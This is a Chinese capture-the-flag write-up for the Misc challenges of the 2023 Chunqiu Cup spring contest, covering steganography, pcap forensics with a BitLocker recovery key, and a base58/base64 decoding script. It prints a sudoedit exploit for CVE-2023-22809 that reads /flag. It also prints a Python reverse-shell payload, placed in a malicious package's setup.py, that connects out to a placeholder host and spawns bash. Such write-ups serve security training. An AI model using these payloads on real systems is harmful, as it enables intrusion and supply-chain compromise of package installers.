2023年春秋杯网络安全联赛春季赛Misc-AK

sudo

CVE-2023-22809

2023年春秋杯网络安全联赛春季赛Misc-AK_第1张图片

没有vim vi,就用原生编辑器nano
EDITOR='nano -- /flag' sudoedit /etc/GAMELAB

piphack

可以下载任意包,考虑构造恶意的包,让他去下载

直接在setup下写反弹shell

 import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('xx',8888));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);

给目录tar一下

tar -czvf file.tar.gz evalp/

2023年春秋杯网络安全联赛春季赛Misc-AK_第2张图片

 wordle

猜单词

2023年春秋杯网络安全联赛春季赛Misc-AK_第3张图片

 盲人隐藏了起来

补文件头得压缩包密码

2023年春秋杯网络安全联赛春季赛Misc-AK_第4张图片

 图片尾部有个key

2023年春秋杯网络安全联赛春季赛Misc-AK_第5张图片

Keyischunqiu123

*Crypto Tips/Tools – AACC CYBER COMPETITION PRACTICE

搜索到Steg的tools

2023年春秋杯网络安全联赛春季赛Misc-AK_第6张图片

 happy2forensics

提示:捕获源端口为20,目的端口为80的TCP流量,可以获得bitlocker密码

 tcp.port == 20 &&tcp.dstport==80

2023年春秋杯网络安全联赛春季赛Misc-AK_第7张图片

 2023年春秋杯网络安全联赛春季赛Misc-AK_第8张图片

 找到密钥

bitlocker:120483-350966-299189-055297-225478-133463-431684-359403

大文件压缩包 导出看看

刚才的密钥恢复挂载

2023年春秋杯网络安全联赛春季赛Misc-AK_第9张图片

2023年春秋杯网络安全联赛春季赛Misc-AK_第10张图片 

脚本合成图片 

除了图片外还有两个异常文件

2023年春秋杯网络安全联赛春季赛Misc-AK_第11张图片

 foremost分离210-1.png文件,得到一张jpg和很多png文件,发现jpg文件有两个jpg头,删掉前面一个jpg头得到第一个flag

2023年春秋杯网络安全联赛春季赛Misc-AK_第12张图片

 用脚本或者工具拼接分离的很多png文件,得到一串password

2023年春秋杯网络安全联赛春季赛Misc-AK_第13张图片

 用DiskGenius文件挂载找到可疑压缩包,得到flag2.txt

2023年春秋杯网络安全联赛春季赛Misc-AK_第14张图片

用得到的password去解压缩包得到flag2

2023年春秋杯网络安全联赛春季赛Misc-AK_第15张图片 58与64

文档内的先base58解密,在拼接解密base64

base58_chars = '123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz'
base58_vals = {c: v for v, c in enumerate(base58_chars)}

def decode_base58(enc):
    num = 0
    for c in enc:
        num *= 58
        num += base58_vals[c]
    return num.to_bytes((num.bit_length() + 7) // 8, 'big')

for i in range(14268):
    with open(f"./tmp_dc7fe258d0d39f50f605eb64cc8189eb-1/{i}.txt", "r") as f:
        data = f.read().splitlines()
        dec = decode_base58(data[0])
        print(dec)
        with open('flag.txt',"a") as f:
            f.write(dec.decode())

import base64
with open('flag.txt', 'r') as f:
    data = f.read()
def decode(data):
    try:
        dec = base64.b64decode(data)
        print(f'解密后:{dec}')
        decode(dec)
    except Exception:
        pass
decode(data)

2023年春秋杯网络安全联赛春季赛Misc-AK_第16张图片 

 

 

你可能感兴趣的:(网络安全,python,linux)